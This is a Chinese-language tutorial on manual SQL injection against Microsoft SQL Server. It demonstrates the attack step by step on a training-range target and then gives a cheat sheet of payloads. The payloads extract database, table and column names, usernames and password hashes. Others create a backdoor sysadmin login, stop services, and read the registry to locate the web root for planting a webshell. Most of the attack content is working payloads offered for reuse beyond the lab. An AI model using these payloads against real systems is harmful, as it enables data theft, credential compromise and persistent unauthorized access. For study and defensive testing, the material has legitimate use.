mssql 手工注入流程小結

對於MSSQL的注入點,無外乎這三種許可權:SA,DB_OENER,PUBLIC。SA(System Admin)許可權我們可以直接執行命令,DB_OENER許可權的話,我們可以找到WEB的路徑,然後用備份的方式得到webshell,有時也可以對註冊表進行操作。PUBLIC許可權的話,又要面對錶和列了,不過MSSQL比ACCESS的「猜」表方便許多,這裡是「暴」表,使目標直接暴出來。

手工注入測試

這裡我用墨者學院的靶場作為例子,來詳細介紹一下每一步命令的原理。

第一步:查找注入點 //219.153.49.228:40603/new_list.asp?id=2 and 1=1 頁面返回正常說明存在注入點。

這裡和mysql一樣的判斷方式

第二步:查找列數 //219.153.49.228:40603/new_list.asp?id=2 order by 1成功 ;order by 2 成功;order by 3 失敗; order by 4 成功;order by 5 失敗 說明列數位於 3-4之間。 

第三步:查找回顯點 //219.153.49.228:40603/new_list.asp?id=2 and 1=2 union all select null,null,null,null;挨個替換null 發現 select null,2,null,null 頁面出現回顯。

這裡的1=2是將前面的查詢結果變為假把位置騰出來顯示我們後面進行查詢的結果。union select不能用,就用union all select代替,UNION 內部的 SELECT 語句必須擁有相同數量的列。列也必須擁有相似的數據類型。同時,每條 SELECT 語句中的列的順序必須相同。區別就是union all查詢的結果是允許重複的。mssql里不能用數字作為佔位符,只能用null

第四步:查看資料庫版本?id=2 and 1=2 union all select 1,(SERVERPROPERTY('edition')),'3',4;或者?id=2 and 1=2 union all select 1,(@@version),'3',4。查找所在庫名稱添加: ?id=2 and 1=2 union all select 1,(select db_name()), '3', 4 找到資料庫名稱。

提示:這裡也可以使用db_name(1)、db_name(2)等查詢其他資料庫。(這裡加’號是為了讓數據類型一致)。SQL Server Express Edition(僅適用於bai 32 位)——學習版SQL Server Express 資料庫平台基於 SQL Server 2005。


第五步:查找資料庫表名稱:?id=2 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype = 'U'),'3',4 提示: xtype='U' 為 用戶表

Top關鍵字:由於MSSQL中不存在limit,那麼想要輸出一條數據直接top 1,輸出兩條數據top 2,輸出第二條數據top 1+限制條件。關於dbo.的意思參考,在MSSQL中每個庫都有一個系統自帶表–>sysobjects此系統表中對我們有用的只有3個欄位,NAME欄位和XTYPE欄位和ID欄位,name就是表名資訊,xtype是代表表的類型,只有兩個參數,S代表系統自帶表,U代表用戶創建的表,id欄位的值用來連接syscolumns表

第六步:查找列名稱:?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4 替換 col_name(object_id('manage'),1) 中的1 依次為 2,3,4查出所有列名。

col_name(object_id(‘manage’),1)這句將指定表的指定列的列名顯示出來(col_name是系統函數,用法col_name(obj_id,col_id))

第七步:查取數據: ?id=2 and 1=2 union all select 1,(select top 1 username from manage),'3',4 獲取用戶名;?id=2 and 1=2 union all select 1,(select top 1 password from manage),'3',4 獲取密碼



第八步:MD5 解密

其他常用注入命令

確定資料庫類型:
//www.xxx.xxx/xxx.asp?id=6 and user>0
//www.xxx.xxx/xxx.asp?id=6 and (select count(*) from sysobjects)>0 //正常返回就是mssql資料庫
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判斷是否是系統管理員
and 1=(Select IS_MEMBER('db_owner')) //判斷是否是庫許可權
and 1= (Select HAS_DBACCESS('master')) //判斷是否有庫讀取許可權
and exists(select * from tableName) //判斷某表是否存在..tableName為表名
and 1=(select @@VERSION) //MSSQL版本
And 1=(select db_name()) //當前資料庫名
and 1=(select @@servername) //本地服務名
獲取資料庫 (該語句是一次性獲取全部資料庫的,且語句只適合>=2005,兩條語句可供選擇使用)
and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--
獲取當前資料庫
and db_name()>0
獲取當前資料庫中的表(有2個語句可供選擇使用)【下列語句可一次爆資料庫所有表(只限於mssql2005及以上版本)】
and 1=(select quotename(name) from 資料庫名..sysobjects where xtype='U' FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 資料庫名..sysobjects where xtype='U' FOR XML PATH(''))--
逐條爆指定表的所有欄位的數據(只限於mssql2005及以上版本):
and 1=(select top 1 * from 指定資料庫..指定表名 where FOR XML PATH(''))--
一次性爆N條所有欄位的數據(只限於mssql2005及以上版本):
and 1=(select top N * from 指定資料庫..指定表名 FOR XML PATH(''))--
添加和刪除一個SA許可權的用戶test:(需要SA許可權)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某個服務。 (需要SA許可權)
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'

暴網站目錄

create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result);

and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)
Tags: